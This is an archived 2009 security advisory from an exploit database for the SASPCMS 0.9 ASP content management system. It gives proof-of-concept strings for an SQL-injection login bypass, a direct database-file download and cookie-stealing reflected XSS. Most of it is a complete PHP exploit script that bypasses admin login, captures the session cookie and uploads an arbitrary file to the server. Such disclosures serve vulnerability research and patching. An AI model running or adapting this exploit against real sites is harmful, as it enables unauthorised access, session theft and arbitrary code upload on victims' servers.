saspcms 0.9 - Multiple Vulnerabilities

EDB-ID:

8364

CVE:



Platform:

PHP

Published:

2009-04-08

##########################www.BugReport.ir########################################
#
#        AmnPardaz Security Research Team
#
# Title:        SASPCMS Multiple Vulnerabilities
# Vendor:        http://www.lgasoft.com
# Vulnerable Version:    0.9 (prior versions also may be affected)
# Exploitation:        Remote with browser
# Fix:            N/A
###################################################################################

####################
- Description:
####################

SASPCMS is an ASP Content Management System . SASPCMS witch uses MSSQL & Microsoft Access as backend database.

####################
- Vulnerability:
####################

+-->Authentication Bypass

POC: ' or ''='
http://[URL]/saspcms/admin/default.asp


+-->Database Information Disclosure

POC: http://[URL]/saspcms/db/menu.mdb


+-->Cross Site Scripting (XSS). Reflected XSS attack in "default.asp" in "q" parameter.

POC: http://[URL]/saspcms/default.asp?q=<script>alert(document.cookie)</script>



####################
- PoC:
####################

It's possible for remote attackers to upload arbitrary files by using FCKEditor after login to admin area.

<?php
########################## WwW.BugReport.ir ######################################
#
#      AmnPardaz Security Research & Penetration Testing Group
#
# Title: SASPCMS Remote File Upload
# Original Advisory: http://www.bugreport.ir/index_64.htm
##################################################################################

error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout", 5);
ob_implicit_flush (1);

echo'<html>
<head>
<title>SASPCMS Remote File Upload</title>
</head>

<body bgcolor="#00000">

<p align="center"><font size="4" color="white">SASPCMS Remote File Upload</font></p>
</font>
<table width="90%">
  <tbody>
    <tr>
      <td width="43%" align="left">
        <form name="form1" action="'.$SERVER[PHP_SELF].'" enctype="multipart/form-data"  method="post">
          <p></font><font color="white" > hostname (ex:www.sitename.com):&nbsp;&nbsp;&nbsp;&nbsp</font><input name="host" size="20"> <span class="Stile5"><font color="#FF0000">*</span></p>
          <p></font><font color="white" > path (ex: /saspcms/ or just / ):&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp</font><input name="path" size="20"> <span class="Stile5"><font color="#FF0000">*</span></p>
          <p></font><font color="white" >Please specify a file to upload: &nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp</font><input type="file" name="datafile" size="40"><font color="#FF0000"> * </font>
          <p><font color="white" >  specify a port&nbsp;(default is 80):&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp </font><input name="port" size="20"><span class="Stile5"></span></p>
          <p><font color="white" >  Proxy (ip:port):&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp</font><input name="proxy" size="20"><span class="Stile5"></span></p>
          <p align="center"> <span class="Stile5"><font color="#FF0000">* </font><font color="white" >fields are required</font></font></span></p>
          <p><input type="submit" value="Start" name="Submit"></p>
        </form>
      </td>
    </tr>
  </tbody>
</table>
</body></html>';

function sendpacket($packet,$response = 0,$output = 0)
{
    $proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
    global $proxy, $host, $port, $html;
    if ($proxy == '')
    {
        $ock = fsockopen($host,$port);
        if (!$ock)
        {
            $off = 1;
            echo '<font color=white> No response from '.htmlentities($host).' ...<br></font>';
            die;
        }
    } else
    {
        $parts = explode(':',$proxy);
        echo '<font color=white>Connecting to '.$parts[0].':'.$parts[1].' proxy...<br></font>';
        $ock   = fsockopen($parts[0],$parts[1]);
        if (!$ock)
        {
            echo '<font color=white>No response from proxy...<br></font>';
            die;
        }
    }
    if($off == 1)
    {}else
    {
        fputs($ock,$packet);
        if ($response == 1)
        {
            if ($proxy == '')
            {
                $html = '';
                while (!feof($ock))
                {
                    $html .= fgets($ock);
                }
            } else
            {
                $html = '';
                while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html)))
                {
                    $html .= fread($ock,1);
                }
            }
        } else $html = '';
        fclose($ock);
        if ($response == 1 && $output == 1) echo nl2br(htmlentities($html));
    }
}

  $host   = $_POST['host'];
  $path   = $_POST['path'];
  $port   = $_POST['port'];

if (isset($_POST['Submit']) && $host != '' && $path != '')
{

  $port=intval(trim($port));
  if ($port=='') {$port=80;}
  if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {die('<font color=white>Error... check the path!</font>');}
  if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
  $host=str_replace("\r\n","",$host);
  $path=str_replace("\r\n","",$path);

  // login to the admin area
  $query   = "SAspCms=%27+or+%27%27%3D%27";
  $packet  = "POST ".$p."admin/admin.asp HTTP/1.1\r\n";
  $packet .= "Host: ".$host."\r\n";
  $packet .= "Content-Type: application/x-www-form-urlencoded\r\n";
  $packet .= "Cache-Control: no-cache\r\n";
  $packet .= "Content-Length: ".strlen($query)."\r\n";
  $packet .= "Connection: Close\r\n\r\n";
  $packet .= $query;

  sendpacket($packet,1,0);
  if(stristr($html , 'Set-Cookie: ASPSESSIONID') == true)
  {
      $pattern      = "(ASPSESSIONID[A-Z]{8}=[A-Z]{24})";
      $cookie_name  = (preg_match($pattern, $html, $matches)) ? $matches[0] : '';
  }

  // Upload File
  $content = file_get_contents($_FILES['datafile']['tmp_name']);
  $name    = rand().$_FILES['datafile']['name'];
  $type    = $_FILES['datafile']['type'];
  $data    = "-----------------------------7d51143b10418\r\n";
  $data   .= "Content-Disposition: form-data; name=\"file\"; filename=\"$name\"\r\n";
  $data   .= "Content-Type: ".$type."\r\n\r\n";
  $data   .= "$content\r\n";
  $data   .= "-----------------------------7d51143b10418--";
  $packet  = "POST ".$p."wexlite/default.asp?precommand=ProcessUpload&folder=userfiles%5C&popup=true HTTP/1.1\r\n";
  $packet .= "Content-Type: multipart/form-data; boundary=---------------------------7d51143b10418\r\n";
  $packet .= "User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)\r\n";
  $packet .= "Host: ".$host."\r\n";
  $packet .= "Cookie: $cookie_name\r\n";
  $packet .= "Cache-Control: no-cache\r\n";
  $packet .= "Content-Length: ".strlen($data)."\r\n";
  $packet .= "Connection: Close\r\n\r\n";
  $packet .= $data;
  sendpacket($packet,1,0);

  $packet  = "GET ".$p."userfiles/$name HTTP/1.1\r\n";
  $packet .= "Host: ".$host."\r\n";
  $packet .= "User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)\r\n";
  $packet .= "Cache-Control: no-cache\r\n";
  $packet .= "Connection: Close\r\n\r\n";
  sendpacket($packet,1,0);

  if(stristr($html , '200 OK') != true)
  {echo "<font color=white>Exploit Faild...</font>";} else echo "<font color=white>Exploit Succeeded...<br>http://$host:$port$path"."userfiles/$name</font>";
}
?>


####################
- Solution:
####################

Edit the source code to ensure that inputs are properly sanitized.


####################
- Credit:
####################
AmnPardaz Security Research & Penetration Testing Group
Contact: admin[4t}bugreport{d0t]ir
www.BugReport.ir
www.AmnPardaz.com 

# milw0rm.com [2009-04-08]